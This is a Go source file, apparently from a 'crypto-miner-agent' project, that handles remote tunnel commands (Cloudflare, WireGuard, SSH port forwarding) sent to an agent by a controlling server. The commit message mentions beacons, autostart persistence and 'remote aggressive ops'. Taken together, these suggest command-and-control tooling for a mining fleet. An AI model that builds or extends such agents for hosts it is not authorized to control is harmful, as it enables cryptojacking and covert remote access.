Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
153 lines
3.9 KiB
Go
153 lines
3.9 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
|
|
var tunnelActions = map[string]bool{
|
|
"tunnel_cloudflared": true,
|
|
"tunnel_wireguard": true,
|
|
"tunnel_ssh_forward": true,
|
|
"tunnel_status": true,
|
|
"tunnel_stop": true,
|
|
"start_tunnel": true, // legacy alias
|
|
}
|
|
|
|
func isTunnelAction(action string) bool {
|
|
return tunnelActions[action]
|
|
}
|
|
|
|
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
|
|
switch action {
|
|
case "tunnel_status", "tunnel_wireguard":
|
|
return true, ""
|
|
default:
|
|
if !c.cfg.RemoteAggressive {
|
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
|
}
|
|
}
|
|
return true, ""
|
|
}
|
|
|
|
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
|
|
if !isTunnelAction(action) {
|
|
return false
|
|
}
|
|
|
|
ok, reason := c.allowTunnelAction(action)
|
|
if !ok {
|
|
c.sendCommandResult(action, false, reason)
|
|
return true
|
|
}
|
|
|
|
switch action {
|
|
case "tunnel_cloudflared", "start_tunnel":
|
|
serverURL := strings.TrimSpace(command)
|
|
if serverURL == "" {
|
|
serverURL = strings.TrimSpace(path)
|
|
}
|
|
if serverURL == "" {
|
|
serverURL = c.cfg.ServerURL
|
|
}
|
|
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "tunnel_wireguard":
|
|
var payload WGConfigPayload
|
|
raw := strings.TrimSpace(data)
|
|
if raw == "" {
|
|
raw = strings.TrimSpace(command)
|
|
}
|
|
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
|
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
|
return true
|
|
}
|
|
go func() {
|
|
if err := WGConfigure(payload); err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return
|
|
}
|
|
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
|
}()
|
|
return true
|
|
|
|
case "tunnel_ssh_forward":
|
|
var meta deploy.SSHForwardMeta
|
|
raw := strings.TrimSpace(data)
|
|
if raw == "" {
|
|
raw = strings.TrimSpace(command)
|
|
}
|
|
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
|
|
meta.LocalPort = parsePortArg(command, 0)
|
|
hostPort := strings.TrimSpace(path)
|
|
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
|
|
meta.RemoteHost = hostPort[:idx]
|
|
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
|
|
}
|
|
meta.SSHUser = strings.TrimSpace(data)
|
|
}
|
|
msg, err := deploy.StartSSHForward(meta)
|
|
if err != nil {
|
|
c.sendCommandResult(action, false, err.Error())
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, msg)
|
|
return true
|
|
|
|
case "tunnel_status":
|
|
raw := deploy.TunnelStatus()
|
|
var st deploy.TunnelStatusJSON
|
|
_ = json.Unmarshal([]byte(raw), &st)
|
|
st.WireGuardActive = WGIsActive()
|
|
if st.WireGuardActive {
|
|
st.WireGuardDetail = WGStatus()
|
|
}
|
|
out, _ := json.Marshal(st)
|
|
c.sendCommandResult(action, true, string(out))
|
|
return true
|
|
|
|
case "tunnel_stop":
|
|
kind := strings.TrimSpace(strings.ToLower(command))
|
|
var stopped int
|
|
var msgs []string
|
|
switch kind {
|
|
case "", "all":
|
|
stopped, msgs = deploy.StopTunnels()
|
|
if WGIsActive() {
|
|
WGTeardown()
|
|
msgs = append(msgs, "WireGuard tunnel removed")
|
|
stopped++
|
|
}
|
|
case "cloudflared", "cf":
|
|
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
|
|
case "ssh", "ssh_forward":
|
|
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
|
|
case "wireguard", "wg":
|
|
if WGIsActive() {
|
|
WGTeardown()
|
|
msgs = append(msgs, "WireGuard tunnel removed")
|
|
stopped = 1
|
|
} else {
|
|
msgs = append(msgs, "no active WireGuard tunnel")
|
|
}
|
|
default:
|
|
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
|
|
return true
|
|
}
|
|
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|